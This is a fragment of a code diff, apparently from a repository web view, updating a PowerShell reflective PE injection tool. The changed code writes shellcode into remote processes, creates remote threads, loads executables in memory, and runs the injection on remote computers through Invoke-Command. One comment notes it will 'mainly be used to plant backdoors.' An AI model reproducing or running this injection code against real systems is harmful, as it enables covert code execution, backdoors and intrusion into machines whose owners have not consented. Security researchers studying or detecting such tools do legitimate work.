Throw "Unable to write shellcode to remote process memory."
|
||||||
}
|
}
|
||||||
|
|
||||||
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
|
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
|
||||||
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
|
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
|
||||||
if ($Result -ne 0)
|
if ($Result -ne 0)
|
||||||
{
|
{
|
||||||
|
|
@ -2526,7 +2619,7 @@ $RemoteScriptBlock = {
|
||||||
#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
|
#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
|
||||||
# This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
|
# This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
|
||||||
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
|
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
|
||||||
Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in."
|
Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
|
||||||
|
|
||||||
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
|
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
|
||||||
|
|
||||||
|
|
@ -2677,11 +2770,11 @@ $RemoteScriptBlock = {
|
||||||
$PEHandle = [IntPtr]::Zero
|
$PEHandle = [IntPtr]::Zero
|
||||||
if ($RemoteProcHandle -eq [IntPtr]::Zero)
|
if ($RemoteProcHandle -eq [IntPtr]::Zero)
|
||||||
{
|
{
|
||||||
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs
|
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle
|
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
|
||||||
}
|
}
|
||||||
if ($PELoadedInfo -eq [IntPtr]::Zero)
|
if ($PELoadedInfo -eq [IntPtr]::Zero)
|
||||||
{
|
{
|
||||||
|
|
@ -2758,17 +2851,18 @@ $RemoteScriptBlock = {
|
||||||
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
|
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
|
||||||
|
|
||||||
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
|
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
|
||||||
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
|
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
|
||||||
}
|
}
|
||||||
|
|
||||||
#Don't free a library if it is injected in a remote process
|
#Don't free a library if it is injected in a remote process or if it is an EXE.
|
||||||
if ($RemoteProcHandle -eq [IntPtr]::Zero)
|
#Note that all DLL's loaded by the EXE will remain loaded in memory.
|
||||||
|
if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
|
||||||
{
|
{
|
||||||
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
|
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
#Just delete the memory allocated in PowerShell to build the PE before injecting to remote process
|
#Delete the PE file from memory.
|
||||||
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
|
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
|
||||||
if ($Success -eq $false)
|
if ($Success -eq $false)
|
||||||
{
|
{
|
||||||
|
|
@ -2831,11 +2925,11 @@ Function Main
|
||||||
|
|
||||||
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
|
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
|
||||||
{
|
{
|
||||||
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName)
|
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName
|
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue